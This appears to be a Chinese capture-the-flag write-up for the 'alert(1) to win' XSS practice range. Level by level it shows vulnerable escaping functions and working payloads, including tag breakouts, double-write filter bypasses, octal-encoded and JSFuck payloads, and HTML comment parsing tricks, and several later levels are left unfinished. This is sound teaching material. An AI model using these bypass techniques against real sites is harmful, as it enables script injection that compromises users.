前言 靶场地址:alert(1) to win 
Warmup 源码 1 2 3 function  escape (s )   return  '<script>console.log("' +s+'");</script>' ; } 
分析 代码将输入直接拼接到了返回的字符串中,没有任何过滤,直接闭合console.log("即可。
payload 1 2 3 4 13个字符 ");alert(1)// 12个字符 ");alert(1," 
Adobe 源码 1 2 3 4 function escape(s) {   s = s.replace(/"/g, '\\"');   return '<script>console.log("' + s + '");</script>'; } 
分析 
代码将输入的双引号加了一个\进行了转义,这样我们就不能像第一题那样闭合console.log了,但是没啥影响,有两种方法:
闭合之前的<script>,然后再写一个<script> 
使用\来转义对"进行转义的\,从而绕过对"的过滤 
 
payload 1 2 3 4 方法一 </script><script>alert(1)// 方法二 \");alert(1)// 
JSON 源码 1 2 3 4 function escape(s) {   s = JSON.stringify(s);   return '<script>console.log(' + s + ');</script>'; } 
分析 
代码将输入使用JSON.stringify进行了处理,与第二题的方法一思路相同。
payload 1 </script><script>alert(1)// 
Markdown 源码 1 2 3 4 5 6 7 8 function escape(s) {   var text = s.replace(/</g, '<').replace(/"/g, '"');   // URLs   text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');   // [[img123|Description]]   text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');   return text; } 
分析 代码进行了三步操作
第一步,将<和"转成了HTML实体 
第二步,如果存在http://的字符串, 会可以生成一个a标签 
第三步,解析Markdown的图片的语法,如果存在[[img123|Description]]格式的字符串,则变为``。 
 
开头对"和<进行了编码操作,所以不能直接传入"来闭合,当前思路就是构造一个字符串,使其满足后两个正则,从而引入a标签中的",从而闭合img标签的alt属性。
payload 1 [[a|http://onerror=alert(1)//]] 
DOM 源码 1 2 3 4 5 6 7 8 9 10 function escape(s) {     // Slightly too lazy to make two input fields.     // Pass in something like "TextNode#foo"     var m = s.split(/#/);     // Only slightly contrived at this point.     var a = document.createElement('div');     a.appendChild(document['create' + m[0]].apply(document, m.slice(1)));     return a.innerHTML; } 
分析 代码实现了一个根据输入来创建的DOM节点的功能。TextNode#foo,那么执行的代码就是document.createTextNode("foo")。
常用命令 
1 2 3 4 createElement() 创建一个元素节点 createTextNode() 创建一个文本节点 createAttribute() 创建一个属性节点 createComment() 创建一个注释节点 
经过尝试,通过createComment()创建一个注释节点,然后闭合注释可以达到代码执行的目的。
payload 1 2 3 4 34个字符 Comment#><script>alert(1)</script> 32个字符 Comment#><iframe onload=alert(1) 
Callback 源码 1 2 3 4 5 6 7 8 9 function escape(s) {   // Pass inn "callback#userdata"   var thing = s.split(/#/);    if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';   var obj = {'userdata': thing[1] };   var json = JSON.stringify(obj).replace(/</g, '\\u003c');   return "<script>" + thing[0] + "(" + json +")</script>"; } 
分析 代码首先将输入的字符串按照#分割为两部分,第一部分是回调函数,只能使用大小写字母、[、]、',第二部分是JSON数据。JSON数据中的尖括号转义成了\\u003c。JS代码,thing[0]部分不一定是一个函数,只要满足要求就OK。
payload Skandia 源码 1 2 3 function escape(s) {   return '<script>console.log("' + s.toUpperCase() + '")</script>'; } 
分析 闭合<script>标签,但是方法alert(1),被转换成大写了,无法执行,尝试编码绕过。
payload 1 </script><img src onerror=alert(1)> 
Template 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function escape(s) {   function htmlEscape(s) {     return s.replace(/./g, function(x) {        return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x;             });   }   function expandTemplate(template, args) {     return template.replace(         /{(\w+)}/g,          function(_, n) {             return htmlEscape(args[n]);          });   }      return expandTemplate(     "                                                \n\       <h2>Hello, <span id=name></span>!</h2>         \n\       <script>                                       \n\          var v = document.getElementById('name');    \n\          v.innerHTML = '<a href=#>{name}</a>';       \n\       <\/script>                                     \n\     ",     { name : s }   ); } 
分析 代码对输入的<、>、&、"、'、进行了转义,输入的字符串会拼接在{name}处。\,可以利用JS的8进制或者16进制编码来绕过。
payload 1 2 3 4 32个字符 \x3cimg src onerror=alert(1)\x3e 26个字符 \x3cstyle/onload=alert(1)  //末尾有一个空格 
JSON 2 源码 1 2 3 4 5 function escape(s) {   s = JSON.stringify(s).replace(/<\/script/gi, '');   return '<script>console.log(' + s + ');</script>'; } 
分析 对</script标签进行了过滤,由于正则中存在i修饰符,不区分大小写,不能使用大小写混合来绕过。
由于直接将字符串替换为空,可以双写绕过。
payload 1 </s</scriptcript><script>alert(1)// 
Callback 2 源码 1 2 3 4 5 6 7 8 9 function escape(s) {   // Pass inn "callback#userdata"   var thing = s.split(/#/);    if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';   var obj = {'userdata': thing[1] };   var json = JSON.stringify(obj).replace(/\//g, '\\/');   return "<script>" + thing[0] + "(" + json +")</script>"; } 
分析 与第6题的类似,但是转义了/,导致//这个注释符无法使用,但是JavaScript的注释符有三种,分别是//、/**/、<!--
payload Skandia 2 源码 1 2 3 4 5 function escape(s) {   if (/[<>]/.test(s)) return '-';   return '<script>console.log("' + s.toUpperCase() + '")</script>'; } 
分析 代码过滤了<、>。还将所有输入的字母变成了大写,不能借助toUpperCase()的特性来解了。jsfuck。直接将");alert(1)//中的alert(1)用jsfuck表示。
JSfuck 
但是直接使用工具生成的jsfuck太长了,不过我们还有另一种方法,就是JS的匿名函数。
我们可以通过这种方法来执行任意方法。
1 []['map']['constructor']('alert(1)')() 
由于对字母进行了大写转换,我们可以将其进行8进制编码,然后闭合前面,注释后面。
1 ");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()// 
payload 1 2 3 4 方法一 ");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()// 方法二 ");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()// 
iframe 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function escape(s) {   var tag = document.createElement('iframe');   // For this one, you get to run any code you want, but in a "sandboxed" iframe.   //   // https://4i.am/?...raw=... just outputs whatever you pass in.   //   // Alerting from 4i.am won't count.   s = '<script>' + s + '<\/script>';   tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);   window.WINNING = function() { youWon = true; };   tag.setAttribute('onload', 'youWon && alert(1)');   return tag.outerHTML; } 
分析 只要使youWon为true,这样就能执行alert(1)了。iframe的特性,当在iframe中设置了一个name属性之后, 这个name属性的值就会变成iframe中的window对象的全局。
payload TI(S)M 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function escape(s) {   function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }   function html(s) { return s.replace(/[<>"&]/g, function(s) {                         return '&#' + s.charCodeAt(0) + ';'; }); }   return (     '<script>' +       'var url = ' + json(s) + '; // We\'ll use this later ' +     '</script>\n\n' +     '  <!-- for debugging -->\n' +     '  URL: ' + html(s) + '\n\n' +     '<!-- then suddenly -->\n' +     '<script>\n' +     '  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +     '  else new Image().src = url;\n' +     '</script>'   ); } 
分析 本题用到了一个小trick:HTML5解析器会将<!--<script>到</script>之间的任何东西都当作JavaScript代码处理,同时要确保代码中还有一个-->来防止解析器报语法错误。
首先输入一个<!--<script>,此时的输出中
1 2 3 4 5 6 7 8 9 10 <script>var url = "<!--<script>"; // We'll use this later </script>   <!-- for debugging -->   URL: <!--<script> <!-- then suddenly --> <script>   if (!/^http:.*/.test(url)) console.log("Bad url: " + url);   else new Image().src = url; </script> 
这一段所有的代码都会当做JS执行。!/^http:.*/,其中的*/可以当做注释,那么我们在前面再加入一个/*即可闭合。
1 2 3 4 5 6 7 8 9 10 <script>var url = "\/*<!--<script>"; // We'll use this later </script>   <!-- for debugging -->   URL: /*<!--<script> <!-- then suddenly --> <script>   if (!/^http:.*/.test(url)) console.log("Bad url: " + url);   else new Image().src = url; </script> 
在注释符之前添加要执行的代码就可以了。
payload 1 if(alert(1)/*<!--<script> 
JSON 3 源码 1 2 3 4 5 6 7 8 function escape(s) {     return s.split('#').map(function(v) {         // Only 20% of slashes are end tags; save 1.2% of total         // bytes by only escaping those.         var json = JSON.stringify(v).replace(/<\//g, '<\\/');         return '<script>console.log(' + json + ')</script>';     }).join(''); } 
分析 题目思路与上一个题类似,借助<!--<script>来执行JS代码,不过因为后面没有-->,解析器会报错,需要我们在后面构造一个-->来避免报错。
构造的Payload为``,此时输出为
1 <script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->")</script> 
其中/script>console.log(")/被当做了正则表达式解析,后面通过分号分割后,成功执行代码alert(1)。
payload 1 <!--<script>#)/;alert(1)//--> 
Skandia 3 源码 1 2 3 4 5 function escape(s) {   if (/[\\<>]/.test(s)) return '-';   return '<script>console.log("' + s.toUpperCase() + '")</script>'; } 
分析 payload RFC4627 源码 分析 payload Well 源码 分析 payload No 源码 分析 payload K’Z’K 源码 分析 payload 最后